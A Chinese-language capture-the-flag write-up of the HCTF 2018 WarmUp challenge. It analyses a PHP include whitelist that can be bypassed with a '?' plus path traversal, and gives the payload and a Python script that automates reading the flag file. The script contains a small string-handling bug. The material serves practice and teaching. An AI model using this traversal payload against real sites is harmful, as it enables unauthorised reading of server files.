CTF_EXP05:BUUCTF CTFHUB [HCTF 2018] WarmUp
CTF_EXP05:BUUCTF CTFHUB [HCTF 2018] WarmUp
啟動靶機,開啟環境:
根據提示是一道PHP程式碼審計的題目,檢視網頁原始碼:
<body>
<!--source.php-->
發現提示的新頁面,訪問得到原始碼:
分析原始碼:
先看最後的一個if
:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
- 傳入的變數
file
不為空,並且為string
型別,並執行checkFile()
函式 - 三個條件為真則執行
include
- 三個條件為假則輸出滑稽
檢視checkFile()
函式:
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
- 有兩個頁面:
source.php
和hint.php
- 四個
if
判斷:
$page
不為空或不為字串,返回false
$page
在$whitelist
陣列中,返回true
mb_substr()
函式擷取字串mb_strpos()
函式返回在$page
中?
前的內容,沒有則返回$page
的值- 擷取後
$page
在$whitelist
陣列中,返回true
- 對
$page
進行URL解碼
- 執行與之前相同的擷取操作
- 解碼擷取後
$page
在$whitelist
陣列中,返回true
訪問checkFile()
函式中的hint.php
頁面:
提示了flag
所在的路徑,嘗試訪問:
/source.php?file=source.php?../ffffllllaaaagggg
因為checkFile()
函式會匹配?
前的內容是否在陣列whitelist
中,因為不知道在哪個目錄,多次新增../
得到flag
:
最終payload:
/source.php?file=source.php?../../../../../ffffllllaaaagggg
EXP如下:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp05:BUUCTF CTFHUB [HCTF 2018] WarmUp
import requests
import re
class WarmUp:
def __init__(self, url_input, platform_input):
self.platform = platform_input
self.payload = '/source.php?file=source.php?../../../../../ffffllllaaaagggg'
self.status_code = 1 # 連結狀態:0:無效,1:連通
self.url_list = ['', 'source.php', 'hint.php'] # 三個連結
self.url = url_input.strip()
self.flag = ''
def url_test(self):
# 可以重複輸錯10次連結
for i in range(9):
try:
# 對輸入的url做修改
if self.url.endswith('/index.php'):
self.url -= 'index.php'
elif self.url.endswith('/index.php/'):
self.url -= 'index.php/'
elif self.url.endswith('/'):
pass
else:
self.url += '/'
# 嘗試訪問連結是否全部為200
requests.get(self.url)
for j in self.url_list:
requests.get(self.url + j)
print('測試連結: 200 ' + self.url + j)
except:
print('無效連結!請重新輸入!')
self.url = input('請輸入題目連結:')
self.status_code = 0
else:
self.status_code = 1
break
if self.status_code == 0:
print('無效連結!退出程式!')
return
def num_test(self):
# 設定獲取flag只能重複30次
for i in range(30):
try:
r = requests.get(self.url + self.payload)
if self.platform == 1:
# 匹配ctfhub平臺flag格式
self.flag = re.search(r'ctfhub\{.+\}', r.text).group()
elif self.platform == 2:
# 匹配buuctf平臺flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()
except:
print('第 ' + str(i+1) + ' 次未獲取到flag! 正在重試!')
else:
self.status_code = 1
break
def run(self):
self.url_test() # 連線測試
self.num_test() # flag獲取
if self.flag == '':
print('已嘗試30次!未獲取到flag! 退出程式!')
return self.flag
if __name__ == '__main__':
print('ctf_exp05: BUUCTF CTFHUB [HCTF 2018] WarmUp')
print('平臺序號:1. ctfhub 2. buuctf')
platform_input = int(input('請選擇題目平臺序號:'))
url_input = input('請輸入題目連結:')
print(WarmUp(url_input, platform_input).run())
input() # 防止退出cmd
輸入平臺編號(平臺flag格式不一樣)與題目連結,得到flag:
相關文章
- [HCTF 2018]WarmUp
- CTF練習日記——[HCTF 2018]WarmUp 1
- BUUCTF 3.warmup_csaw_2016
- [HCTF 2018]admin
- [BUUCTF 2018]Online Tool
- HCTF writeup(web)Web
- Crypto(18)——CTFHub
- [BUUCTF]PWN——picoctf_2018_buffer overflow 1/2
- 【攻防世界】warmup
- Warmup小記
- [CTFHUB]SVN洩露
- 攻防世界之warmup
- 【BUUCTF】BabySQliSQL
- 【BUUCTF】AreUSerialz
- 【BUUCTF】HardSQLSQL
- BUUCTF xor
- Pwn buuctf 合集
- 【BUUCTF】Easy JavaJava
- 【BUUCTF】easy calc
- BUUCTF reverse 3
- buuctf_misc
- buuctf 逆向 xor
- CTFhub-WEB前置-http協議闖關WebHTTP協議
- Stanford CS 144, Lab 0: networking warmup 實驗
- 藍鯨ctf 逆向0x1 Warmup
- 【BUUCTF】Youngter-drive
- BUUCTF-Include(Web)Web
- BUUCTF SSTI模板注入
- BUUCTF:[SUCTF 2019]EasySQLSQL
- BUUCTF:Beautiful_SideIDE
- CTFHUB技能樹之WEB前置技能HTTP協議WebHTTP協議
- CTFHub web前置技能HTTP協議請求方式WebHTTP協議
- CTFHub SQL 整數型注入【最快四步】SQL
- BUUCTF靶機筆記筆記
- BUUCTF:[RoarCTF 2019]Easy Calc
- buuctf部分題目wp
- BUUCTF PWN 21-40
- BUUCTF 基礎CODE REVIEWView